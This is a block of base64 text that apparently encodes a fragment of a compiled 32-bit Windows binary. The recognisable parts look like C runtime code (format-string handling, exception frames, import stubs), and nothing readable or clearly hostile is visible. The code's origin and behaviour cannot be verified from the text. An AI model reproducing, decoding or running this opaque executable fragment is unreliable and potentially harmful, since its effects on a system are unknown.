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5QjUX0UFfoiP3//4PEDDPAi038X14zzVvoRPP//8nDi/9Vi+yB7GgCAAChAGACEDPFiUX8i0UIU4tdDFYz9leLfRCJhbT9//+Jvdz9//+Jtbj9//+JtfD9//+Jtcz9//+Jtej9//+JtdD9//+JtcT9//+JtbD9//+Jtcj9//87xnUh/xUoYwEQVlZWVlbHABYAAADot/L//4PEFIPI/+lACgAAO95024oLibXY/f//ibXg/f//ibXA/f//ibW8/f//iI3v/f//hMkPhA4KAABDObXY/f//iZ2g/f//D4zmCQAAisEsIDxYdw8PvsEPtoDQYwEQg+AP6wIzwIuVwP3//2vACQ+2hBDwYwEQwegEiYXA/f//g/gID4Rk////agdaO8IPh1YJAAD/JIUMFAEQg43o/f///4m1xP3//4m1sP3//4m1zP3//4m10P3//4m18P3//4m1yP3//+ktCQAAD77Bg+ggdEqD6AN0NoPoCHQlSEh0FYPoAw+FAAkAAION8P3//wjpAgkAAION8P3//wTp9ggAAION8P3//wHp6ggAAIGN8P3//4AAAADp2wgAAION8P3//wLpzwgAAID5KnUriweDxwQ7xom93P3//4mFzP3//w+NsQgAAION8P3//wT3ncz9///pnwgAAIuFzP3//2vACg++yY1ECNCJhcz9///phAgAAIm16P3//+l5CAAAgPkqdSWLB4PHBDvGib3c/f//iYXo/f//D41bCAAAg43o/f///+lPCAAAi4Xo/f//a8AKD77JjUQI0ImF6P3//+k0CAAAgPlJdE+A+Wh0PoD5bHQYgPl3D4UcCAAAgY3w/f//AAgAAOkNCAAAgDtsdRBDgY3w/f//ABAAAOn4BwAAg43w/f//EOnsBwAAg43w/f//IOngBwAAigM8NnUXgHsBNHURQ0OBjfD9//8AgAAA6cMHAAA8M3UXgHsBMnURQ0OBpfD9////f///6agHAAA8ZA+EoAcAADxpD4SYBwAAPG8PhJAHAAA8dQ+EiAcAADx4D4SABwAAPFgPhHgHAACJtcD9//8PtsFQibXI/f///xUcYwEQWYXAdCiLjbT9//+Khe/9//+Ntdj9///ol/r//4oDQ4iF7/3//4TAD4RIBwAAi420/f//ioXv/f//jbXY/f//6G/6///pFwcAAA++wYP4ZA+PFgIAAA+EZwIAAIP4Uw+P8gAAAA+EgAAAAIPoQXQQSEh0WEhIdAhISA+FRQUAAIDBIMeFxP3//wEAAACIje/9//+DjfD9//9AObXo/f//jYX0/f//iYXk/f//uAACAACJhaz9//8PjTUCAADHhej9//8GAAAA6ZQCAAD3hfD9//8wCAAAD4WYAAAAgY3w/f//AAgAAOmJAAAA94Xw/f//MAgAAHUKgY3w/f//AAgAAIuN6P3//4P5/3UFuf///3+DxwT3hfD9//8QCAAAib3c/f//i3/8ib3k/f//D4RkBAAAO/51C6EUYAIQiYXk/f//i4Xk/f//x4XI/f//AQAAAOkyBAAAg+hYD4SNAgAASEh0eSvCD4Qn////SEgPhVEEAACDxwT3hfD9//8QCAAAib3c/f//dDAPt0f8UGgAAgAAjYX0/f//UI2F4P3//1DoZvr//4PEEIXAdB/HhbD9//8BAAAA6xOKR/yIhfT9///HheD9//8BAAAAjYX0/f//iYXk/f//6egDAACLB4PHBIm93P3//zvGdGSLcAQz/zv3dFsPtwhmOUgCD4KMBQAA94Xw/f//AAgAAA+3wXQuM8mL0PfSQYTRD4RuBQAAi9b30oTRD4RiBQAAibXk/f//0eiJjcj9///pgAMAAIm9yP3//4m15P3//+lvAwAAoRBgAhCJheT9//+NUAGKCECEyXX5K8LpUwMAAIP4cA+PgAEAAA+EaAEAAIP4ZQ+MQQMAAIP4Zw+OBv7//4P4aXQxg/huD4S9+v//g/hvD4UhAwAA9oXw/f//gMeF4P3//wgAAAB0HYGN8P3//wACAADrEYON8P3//0DHheD9//8KAAAAi4Xw/f//qQCAAAAPhG8BAACLB4tXBIPHCOmXAQAAdRGA+Wd1Z8eF6P3//wEAAADrWzmF6P3//34GiYXo/f//u6MAAAA5nej9//9+Oou16P3//4HGXQEAAFb/FQBjARBZio3v/f//iYW8/f//hcB0DomF5P3//4m1rP3//+sOiZ3o/f//6waKje/9///2hfD9//+AdAqBjcT9//+AAAAAiwf/tcT9//+LteT9////tej9//+DxwiJhZj9//+LR/yJhZz9//8PvsFQ/7Ws/f//jYWY/f//VlCJvdz9///opff//4PEGIA+LXUQgY3w/f//AAEAAP+F5P3//4uF5P3//41QAYoIQITJdfnpgv7//8eF6P3//wgAAACJlbj9///rJIPocw+EA/3//0hID4TE/v//g+gDD4W2AQAAx4W4/f//JwAAAPaF8P3//4DHheD9//8QAAAAD4Sk/v//ioW4/f//BFHGhdT9//8wiIXV/f//x4XQ/f//AgAAAOmA/v//qQAQAAAPhYb+//+DxwSoIHQXib3c/f//qEB0Bg+/R/zrBA+3R/yZ6xKoQItH/HQDmesCM9KJvdz9///2hfD9//9AdBs71n8XfAQ7xnMR99iD0gD32oGN8P3//wABAAD3hfD9//8AkAAAi9qL+HUCM9uDvej9//8AfQzHhej9//8BAAAA6xqDpfD9///3uAACAAA5hej9//9+BomF6P3//4vHC8N1BiGF0P3//41184uF6P3///+N6P3//4XAfwaLxwvDdC2LheD9//+ZUlBTV+ik9P//g8Ewg/k5iZ2s/f//i/iL2n4GA424/f//iA5O672NRfMrxkb3hfD9//8AAgAAiYXg/f//ibXk/f//dGGFwHQHi86AOTB0Vv+N5P3//4uN5P3//8YBMEDrPklmOTB0BkBAO8519CuF5P3//9H46yg7/nULoRBgAhCJheT9//+LheT9///rB0mAOAB0BUA7znX1K4Xk/f//iYXg/f//g72w/f//AA+FZgEAAIuF8P3//6hAdDKpAAEAAHQJxoXU/f//LesYqAF0CcaF1P3//yvrC6gCdBHGhdT9//8gx4XQ/f//AQAAAIudzP3//yud4P3//yud0P3///aF8P3//wx1F/+1tP3//42F2P3//1NqIOiq9P//g8QM/7XQ/f//i720/f//jYXY/f//jY3U/f//6LD0///2hfD9//8IWXQb9oXw/f//BHUSV1NqMI2F2P3//+ho9P//g8QMg73I/f//AHRxg73g/f//AH5oi4Xg/f//i7Xk/f//iYWs/f//D7cG/42s/f//UGoGjUX0UI2FpP3//0ZQRuhI9f//g8QQhcB1KDmFpP3//3Qg/7Wk/f//jYXY/f//jU306Cb0//+Dvaz9//8AWXW16yGDjdj9////6xj/teD9//+LjeT9//+Nhdj9///o+vP//1mDvdj9//8AfBv2hfD9//8EdBJXU2ogjYXY/f//6LLz//+DxAyDvbz9//8AdBT/tbz9////FexiARCDpbz9//8AWYudoP3//4u93P3//zP2igOIhe/9//+EwHQvisjpL/b///8VKGMBEMcAFgAAADPAUFBQUFDp2/X///8VKGMBEFdXV1dX6cX1//85tcD9//90DYO9wP3//wcPhaX1//+Lhdj9//+LTfxfXjPNW+hx6P//ycOQNAwBEEkKARB5CgEQ1woBECILARAtCwEQcgsBEI0MARCL/1WL7IPsIFeLfQyD//91CcdF5P///3/rK4H/////f3Yg/xUoYwEQxwAWAAAAM8BQUFBQUOgC6P//g8QUg8j/62qJfeRTVv91FIt1CP91EI1F4FCJdeiJdeDHRexCAAAA6Kb0//+L2DPAg8QMO9iIRD7/fRE5ReR8LTvwdCU7+HYhiAbrHf9N5HgHi03giAHrEY1N4FFQ6Iw4AABZWYP4/3QEi8PrA2r+WF5bX8nDi0gM9sFAdAaDeAgAdDWDQAT+uv//AAB4DYsIZokxgwACD7fO6wiDySCJSAyLymY7ynUQUP8VyGIBEFmFwHQEgw//w/8Hw4v/VYvsg30MAFeL+H4bVotFEIt1CP9NDOid////gz//dAaDfQwAf+deX13Di/9Vi+z2QwxAV4v4dA2DewgAdQeLRQwBB+s8g30MAH42VotFCA+3MP9NDIvD6Fz///+DRQgCgz//dRX/FShjARCDOCp1EGo/i8Ne6D7///+DfQwAf8xeX13Di/9Vi+yB7GgEAAChAGACEDPFiUX8i0UIU4tdEFaLdQxXM/+Jhdj7//+Jnej7//+JvbT7//+Jvfj7//+JvdD7//+JvfT7//+Jvdz7//+Jvcj7//+Jvaz7//+JvdT7//87x3Uh/xUoYwEQV1dXV1fHABYAAADoSOb//4PEFIPI/+k/CgAAO/d02w+3Dom94Pv//4m97Pv//4m9wPv//4m9uPv//4mN5Pv//2Y7zw+ECwoAAEZGOb3g+///ibWw+///D4ziCQAAjUHgZoP4WHcPD7fBD7aA0GMBEIPgD+sCM8CLlcD7//9rwAkPtoQQ8GMBEGoIwegEWomFwPv//zvCD4Re////g/gHD4d3CQAA/ySFeyABEION9Pv///+Jvcj7//+Jvaz7//+JvdD7//+Jvdz7//+Jvfj7//+JvdT7///pTgkAAA+3wYPoIHRIg+gDdDQrwnQkSEh0FIPoAw+FIgkAAAmV+Pv//+klCQAAg434+///BOkZCQAAg434+///AekNCQAAgY34+///gAAAAOn+CAAAg434+///AunyCAAAZoP5KnUriwODwwQ7x4md6Pv//4mF0Pv//w+N0wgAAION+Pv//wT3ndD7///pwQgAAIuF0Pv//2vACg+3yY1ECNCJhdD7///ppggAAIm99Pv//+mbCAAAZoP5KnUliwODwwQ7x4md6Pv//4mF9Pv//w+NfAgAAION9Pv////pcAgAAIuF9Pv//2vACg+3yY1ECNCJhfT7///pVQgAAA+3wYP4SXRRg/hodECD+Gx0GIP4dw+FOggAAIGN+Pv//wAIAADpKwgAAGaDPmx1EUZGgY34+///ABAAAOkUCAAAg434+///EOkICAAAg434+///IOn8BwAAD7cGZoP4NnUZZoN+AjR1EoPGBIGN+Pv//wCAAADp2gcAAGaD+DN1GWaDfgIydRKDxgSBpfj7////f///6bsHAABmg/hkD4SxBwAAZoP4aQ+EpwcAAGaD+G8PhJ0HAABmg/h1D4STBwAAZoP4eA+EiQcAAGaD+FgPhH8HAACJvcD7//+Lhdj7//+NveD7//+L8ceF1Pv//wEAAADo/fv//+lPBwAAD7fBg/hkD49KAgAAD4SXAgAAg/hTD48TAQAAdH2D6EF0EEhIdFhISHQISEgPhXoFAACDwSDHhcj7//8BAAAAiY3k+///g434+///QDm99Pv//42F/Pv//4mF8Pv//7gAAgAAiYXM+///D41pAgAAx4X0+///BgAAAOnBAgAA94X4+///MAgAAA+FwgAAAION+Pv//yDptgAAAPeF+Pv//zAIAAB1B4ON+Pv//yCLvfT7//+D//91Bb////9/g8ME9oX4+///IImd6Pv//4tb/Imd8Pv//w+ElAQAAIXbdQuhEGACEImF8Pv//4Ol7Pv//wCLtfD7//+F/w+OrAQAAIoGhMAPhKIEAAAPtsBQ/xUcYwEQWYXAdAFGRv+F7Pv//zm97Pv//3zX6X4EAACD6FgPhJECAABISA+EigAAAIPoBw+E/f7//0hID4VcBAAAD7cDg8MEM/ZG9oX4+///IIm11Pv//4md6Pv//4mFqPv//3Q3iIW8+///oRhjARDGhb37//8A/zCNhbz7//9QjYX8+///UP8VFGMBEIPEDIXAfQ+Jtaz7///rB2aJhfz7//+Nhfz7//+JhfD7//+Jtez7///p4wMAAIsDg8MEiZ3o+///O8d0YotwBDv3dFsPtwhmOUgCD4I7+///94X4+///AAgAAA+3wXQuM8mL0PfSQYTRD4Qd+///i9b30oTRD4QR+///ibXw+///0eiJjdT7///pfQMAAIm91Pv//4m18Pv//+lsAwAAoRBgAhCJhfD7//+NUAGKCECEyXX5K8LpUAMAAIP4cA+PdQEAAA+EXQEAAIP4ZQ+MPgMAAIP4Zw+Ozv3//4P4aXQtg/huD4Si+v//g/hvD4UeAwAA9oX4+///gImV5Pv//3QdgY34+///AAIAAOsRg434+///QMeF5Pv//woAAACLhfj7//+pAIAAAA+EbQEAAAPai0P4i1P86ZUBAAB1EmaD+Wd1X8eF9Pv//wEAAADrUzmF9Pv//34GiYX0+///v6MAAAA5vfT7//9+OIu19Pv//4HGXQEAAFb/FQBjARBZi43k+///iYW4+///hcB0DomF8Pv//4m1zPv//+sGib30+///9oX4+///gHQKgY3I+///gAAAAIsD/7XI+///i7Xw+////7X0+///g8MIiYWY+///i0P8iYWc+///D77BUP+1zPv//42FmPv//1ZQiZ3o+///6Cbr//+DxBiAPi11EIGN+Pv//wABAAD/hfD7//+LhfD7//+NUAGKCECEyXX56Y3+//+JlfT7///HhbT7//8HAAAA6ySD6HMPhND8//9ISA+Ey/7//4PoAw+FvgEAAMeFtPv//ycAAAD2hfj7//+Ax4Xk+///EAAAAA+Eq/7//2owWGaJhcT7//+LhbT7//+DwFFmiYXG+///x4Xc+///AgAAAOmC/v//qQAQAAAPhYj+//+DwwSoIHQXiZ3o+///qEB0Bg+/Q/zrBA+3Q/yZ6xKoQItD/HQDmesCM9KJnej7///2hfj7//9AdBs7138XfAQ7x3MR99iD0gD32oGN+Pv//wABAAD3hfj7//8AkAAAi9qL+HUCM9uDvfT7//8AfQzHhfT7//8BAAAA6xqDpfj7///3uAACAAA5hfT7//9+BomF9Pv//4vHC8N1BiGF3Pv//421+/3//4uF9Pv///+N9Pv//4XAfwaLxwvDdC2LheT7//+ZUlBTV+gd6P//g8Ewg/k5iZ2k+///i/iL2n4GA420+///iA5O672Nhfv9//8rxkb3hfj7//8AAgAAiYXs+///ibXw+///dF6FwHQHi8aAODB0U/+N8Pv//4uF8Pv///+F7Pv//8YAMOs8hdt1C6EUYAIQiYXw+///i4Xw+///x4XU+///AQAAAOsJT2aDOAB0BkBAhf918yuF8Pv//9H4iYXs+///g72s+///AA+FcwEAAIuF+Pv//6hAdCupAAEAAHQEai3rDqgBdARqK+sGqAJ0FGogWWaJjcT7///Hhdz7//8BAAAAi7XQ+///K7Xs+///K7Xc+///ibWk+///qAx1F/+12Pv//42F4Pv//1ZqIOgg9v//g8QM/7Xc+///i53Y+///jYXE+///UI2F4Pv//+gr9v//9oX4+///CFlZdBv2hfj7//8EdRJTVmowjYXg+///6Nz1//+DxAyDvdT7//8AdXyLhez7//+FwH5yi43w+///iY3k+///iYXM+///oRhjARD/MP+NzPv///+15Pv//42FqPv//1D/FRRjARCL2IPEDIXbfi6Lhdj7//+Ltaj7//+NveD7///oLvX//wGd5Pv//4O9zPv//wCLtaT7//9/q+sig43g+////+sZ/7Xs+///jYXg+////7Xw+///6Gn1//9ZWYO94Pv//wB8IPaF+Pv//wR0F/+12Pv//42F4Pv//1ZqIOgV9f//g8QMg724+///AHQU/7W4+////xXsYgEQg6W4+///AFmLnej7//+LtbD7//8z/w+3BomF5Pv//2Y7x3QHi8jpCvb//zm9wPv//3QNg73A+///Bw+FpvX//4uF4Pv//4tN/F9eM81b6APc///Jw4v/wRgBELwWARDsFgEQSBcBEJQXARCfFwEQ5RcBEOMYARCL/1WL7IPsIFNXi30Mg///dQnHReT///9/6zGB/////z92I/8VKGMBEDPbU1NTU1PHABYAAADoktv//4PEFIPI/+mRAAAAjQQ/iUXkVv91FIt1CP91EI1F4FCJdeiJdeDHRexCAAAA6KD0//8zyTPbg8QMO8OJRQxmiUx+/n0SOV3kfE8783ROO/t2SmaJDutF/03keAqLReCIGP9F4OsRjUXgUFPoDywAAFlZg/j/dCL/TeR4B4tF4IgY6xGNReBQU+jyKwAAWVmD+P90BYtFDOsDav5YXl9bycOL/1WL7FOLHjldCA+FgQAAAIsHO0UMdWWNRQhQagJZi8P34VJQ6BLl//+DxAyFwH0EM8DrYGoEU/8VDGMBEFlZiQeFwHTr/3UIi0UQ/3UMxwABAAAA/zfo2uT//4sGVgPAagJQiQbo/OT//4PEGIXAfSD/N/8V7GIBEFnrtGoEU1D/FTBgAhCDxAyFwHSjiQfRJjPAQFtdw4v/VYvs90UIAP8AAFZ1Gw+3dQiLxiX/AAAAUP8VEGMBEFmFwHQEi8brCg+3RQiD4N+D6AdeXcOL/1WL7Lj//wAAZjtFCHQGXemCLQAAXcOL/1WL7Fb/dQj/B+heLAAAD7fwuP//AABZZjvwdA9qCFb/FcRiARBZWYXAddlmi8ZeXcOL/1WL7IPsLKEAYAIQM8WJRfyLRRCJVdiLE4lV8ItVCFaA4ggPvvL33hv2/w+JReQPtwBRUIlN4Oh4////i0UIiUXsg2XsEFlZdQP/TRiJReiDZegBg33oAHQOi0UU/00UhcAPhBwBAAD/deD/B+jIKwAAWYtN5GaJAbn//wAAZolF1GY7yA+E5gAAAIN97AB1VvZFCCB0EmaD+AlyBmaD+A12BmaD+CB1PvZFCEAPhL4AAABmi8hmwekDD7fRZjvCD4KrAAAAi8iD4QczwEDT4A+3yotVDA++DBEzzoXBD4SNAAAAi0XU9kUIBHV7g30YAA+EtAAAAPZFCAJ0EIsLZokBgwMC/00Y6Uf///+LDRhjARCLVRhQOxFyDP8z/xXMYgEQWVnrL41F9FD/FcxiARBZWYlF3IXAfgU7RRh3bIP4BXdnUI1F9FD/M+jL4v//i0Xcg8QMhcAPjvb+//8BAylFGOns/v//g0XwAunj/v///w+LReQPtwD/deBQ6DL+//9ZWYtF8DsDdDr2RQgEdU+LRdj/AIN97AB1RPZFCAKLA3Q5M8lmiQjrNf8VKGMBEPZFCALHAAwAAAB0GItN8DPAZokBg8j/i038M81e6BbY///Jw4tF8MYAAOvoxgAAM8Dr5Iv/VYvsUVNWV78AIAAAVzPb/xUAYwEQi/BZhfZ1Ev8VKGMBEGoMWYkIi8FfXlvJw1dqAFbo+OH//4tVDIMCAosCg8QMal5ZZjsIdQZAQINNCAhqXVlmOwgPhY8AAABRQFtAxkYLIOmCAAAAD7fJQGotX0CJTfxmO/l1VmaF23RRD7cIal1fZjv5dEYPt/lAQGY733MFD7fP6wYPt8sPt99mO9l3KCvLQQ+3yQ+304lN/IvKwekDjTwxi8qD4QezAdLjCB9C/038deeLVQwz2+scD7dN/A+3XfyL0cHqA408MoPhB7IB0uIIF4tVDA+3CGpdX2Y7+Q+Fb////2aDOAB1EoPP/1b/FexiARBZi8fpF/////91JItNIP91HItdGP91EIt9FFb/dQiJAotVKOjn/P//g8QUi/jryov/VYvsgewgAwAAoQBgAhAzxYlF/ItVEItFDItNCFYz9omV7Pz//42VQP3//4mNKP3//4mFGP3//4mVHP3//8eFAP3//14BAACJtQT9//+JtTz9//+JteD8//87xnUh/xUoYwEQVlZWVlbHABYAAADoQ9b//4PEFIPI/+m4DgAAVzvOdSP/FShjARCDz/9WVlZWVscAFgAAAOga1v//g8QUi8fpjw4AAA+3AMaFJv3//wCJtTT9//+JtQj9//9mO8YPhGoOAACLtRj9//8z/1OLHcRiARBqCFD/01lZhcB0QP+1KP3///+NNP3///+1KP3//429NP3//+iv+///D7fAWVDojfv//1lZRkYPtwZqCFD/01lZhcB18DP/6WcNAABqJVhmOwYPhRsNAACJvfT8//+JvSD9//+JvRT9//+JvTD9//+Jvej8///GhSX9//8AxoUn/f//AMaFO/3//wDGhS/9//8AxoUu/f//AYm9/Pz//0ZGD7ceibUY/f//98MA/wA